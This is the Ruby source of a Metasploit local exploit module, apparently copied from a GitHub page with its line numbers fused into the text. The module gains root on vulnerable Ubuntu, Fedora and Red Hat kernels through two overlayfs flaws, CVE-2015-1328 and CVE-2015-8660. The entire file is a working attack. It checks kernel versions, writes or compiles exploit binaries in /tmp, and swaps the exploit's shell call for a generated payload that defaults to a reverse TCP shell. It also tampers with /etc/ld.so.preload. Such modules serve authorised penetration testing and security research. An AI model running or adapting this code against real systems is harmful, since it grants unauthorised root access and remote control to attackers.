Path: blob/master/modules/exploits/linux/local/overlayfs_priv_esc.rb
21839 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = GoodRanking78include Msf::Post::File9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Overlayfs Privilege Escalation',17'Description' => %q{18This module attempts to exploit two different CVEs related to overlayfs.19CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55203.16.0-25 (14.10 default) < 3.16.0-41213.19.0-18 (15.04 default) < 3.19.0-2122CVE-2015-8660:23Ubuntu:243.19.0-18 < 3.19.0-43254.2.0-18 < 4.2.0-23 (14.04.1, 15.10)26Fedora:27< 4.2.8 (vulnerable, un-tested)28Red Hat:29< 3.10.0-327 (rhel 6, vulnerable, un-tested)30},31'License' => MSF_LICENSE,32'Author' => [33'h00die <[email protected]>', # Module34'rebel' # Discovery35],36'DisclosureDate' => '2015-06-16',37'Platform' => [ 'linux'],38'Arch' => [ ARCH_X86, ARCH_X64 ],39'SessionTypes' => [ 'shell', 'meterpreter' ],40'Targets' => [41[ 'CVE-2015-1328', {} ],42[ 'CVE-2015-8660', {} ]43],44'DefaultTarget' => 1,45'DefaultOptions' => {46'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su47},48'References' => [49[ 'EDB', '39166'], # CVE-2015-866050[ 'EDB', '37292'], # CVE-2015-132851[ 'CVE', '2015-1328'],52[ 'CVE', '2015-8660']53],54'Notes' => {55'Reliability' => UNKNOWN_RELIABILITY,56'Stability' => UNKNOWN_STABILITY,57'SideEffects' => UNKNOWN_SIDE_EFFECTS58}59)60)61register_options [62OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])63]64register_advanced_options [65OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ])66]67end6869def check70def mounts_exist?()71vprint_status('Checking if mount points exist')72if target.name == 'CVE-2015-1328'73if not directory?('/tmp/ns_sploit')74vprint_good('/tmp/ns_sploit not created')75return true76else77print_error('/tmp/ns_sploit directory exists. Please delete.')78return false79end80elsif target.name == 'CVE-2015-8660'81if not directory?('/tmp/haxhax')82vprint_good('/tmp/haxhax not created')83return true84else85print_error('/tmp/haxhax directory exists. Please delete.')86return false87end88end89end9091def kernel_vuln?()92os_id = cmd_exec('grep ^ID= /etc/os-release')93case os_id94when 'ID=ubuntu'95kernel = Rex::Version.new(cmd_exec('/bin/uname -r'))96case kernel.release.to_s97when '3.13.0'98if kernel.between?(Rex::Version.new('3.13.0-24-generic'), Rex::Version.new('3.13.0-54-generic'))99vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")100return true101else102print_error("Kernel #{kernel} is NOT vulnerable")103return false104end105when '3.16.0'106if kernel.between?(Rex::Version.new('3.16.0-25-generic'), Rex::Version.new('3.16.0-40-generic'))107vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")108return true109else110print_error("Kernel #{kernel} is NOT vulnerable")111return false112end113when '3.19.0'114if kernel.between?(Rex::Version.new('3.19.0-18-generic'), Rex::Version.new('3.19.0-20-generic'))115vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")116return true117elsif kernel.between?(Rex::Version.new('3.19.0-18-generic'), Rex::Version.new('3.19.0-42-generic'))118vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")119return true120else121print_error("Kernel #{kernel} is NOT vulnerable")122return false123end124when '4.2.0'125if kernel.between?(Rex::Version.new('4.2.0-18-generic'), Rex::Version.new('4.2.0-22-generic'))126vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")127return true128else129print_error("Kernel #{kernel} is NOT vulnerable")130return false131end132else133print_error("Non-vuln kernel #{kernel}")134return false135end136when 'ID=fedora'137kernel = Rex::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc138# irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')139# => "4.0.4-301"140if kernel.release < Rex::Version.new('4.2.8')141vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660. Exploitation UNTESTED")142return true143else144print_error("Non-vuln kernel #{kernel}")145return false146end147else148print_error("Unknown OS: #{os_id}")149return false150end151end152153if mounts_exist?() && kernel_vuln?()154return CheckCode::Appears155else156return CheckCode::Safe157end158end159160def exploit161if check != CheckCode::Appears162fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')163end164165filename = rand_text_alphanumeric(8)166executable_path = "#{datastore['WritableDir']}/#{filename}"167payloadname = rand_text_alphanumeric(8)168payload_path = "#{datastore['WritableDir']}/#{payloadname}"169170def has_prereqs?()171gcc = cmd_exec('which gcc')172if gcc.include?('gcc')173vprint_good('gcc is installed')174else175print_error('gcc is not installed. Compiling will fail.')176end177return gcc.include?('gcc')178end179180compile = false181if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'182if has_prereqs?()183compile = true184vprint_status('Live compiling exploit on system')185else186vprint_status('Dropping pre-compiled exploit on system')187end188end189if check != CheckCode::Appears190fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')191end192193def upload_and_chmod(fname, fcontent, cleanup = true)194print_status "Writing to #{fname} (#{fcontent.size} bytes)"195rm_f fname196write_file(fname, fcontent)197cmd_exec("chmod +x #{fname}")198if cleanup199register_file_for_cleanup(fname)200end201end202203def on_new_session(session)204super205if target.name == 'CVE-2015-1328'206session.shell_command("/bin/su") # this doesnt work on meterpreter?????207# we cleanup here instead of earlier since we needed the /bin/su in our new session208session.shell_command('rm -f /etc/ld.so.preload')209session.shell_command('rm -f /tmp/ofs-lib.so')210end211end212213if compile214begin215if target.name == 'CVE-2015-1328'216# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size217# Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.218path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')219fd = ::File.open(path, "rb")220cve_2015_1328 = fd.read(fd.stat.size)221fd.close222223# pulled out from 1328.c's LIB define224path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')225fd = ::File.open(path, "rb")226ofs_lib = fd.read(fd.stat.size)227fd.close228else229# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size230path = ::File.join(Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')231fd = ::File.open(path, "rb")232cve_2015_8660 = fd.read(fd.stat.size)233fd.close234end235rescue236compile = false # hdm said external folder is optional and all module should run even if external is deleted. If we fail to load, default to binaries237end238end239240if compile241if target.name == 'CVE-2015-1328'242cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,243"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")244upload_and_chmod("#{executable_path}.c", cve_2015_1328)245ofs_path = "#{datastore['WritableDir']}/ofs-lib"246upload_and_chmod("#{ofs_path}.c", ofs_lib)247cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file248register_file_for_cleanup("#{ofs_path}.c")249else250cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,251"os.execl('#{payload_path}','#{payloadname}')")252upload_and_chmod("#{executable_path}.c", cve_2015_8660)253end254vprint_status("Compiling #{executable_path}.c")255cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile256register_file_for_cleanup(executable_path)257else258if target.name == 'CVE-2015-1328'259path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')260fd = ::File.open(path, "rb")261cve_2015_1328 = fd.read(fd.stat.size)262fd.close263upload_and_chmod(executable_path, cve_2015_1328)264265path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')266fd = ::File.open(path, "rb")267ofs_lib = fd.read(fd.stat.size)268fd.close269ofs_path = "#{datastore['WritableDir']}/ofs-lib"270# dont auto cleanup or else it happens too quickly and we never escalate ourprivs271upload_and_chmod("#{ofs_path}.so", ofs_lib, false)272273# overwrite with the hardcoded variable names in the compiled versions274payload_filename = 'lXqzVpYN'275payload_path = '/tmp/lXqzVpYN'276else277path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')278fd = ::File.open(path, "rb")279cve_2015_8660 = fd.read(fd.stat.size)280fd.close281upload_and_chmod(executable_path, cve_2015_8660)282# overwrite with the hardcoded variable names in the compiled versions283payload_filename = '1H0qLaq2'284payload_path = '/tmp/1H0qLaq2'285end286end287288upload_and_chmod(payload_path, generate_payload_exe)289vprint_status('Exploiting...')290output = cmd_exec(executable_path)291output.each_line { |line| vprint_status(line.chomp) }292end293end294295296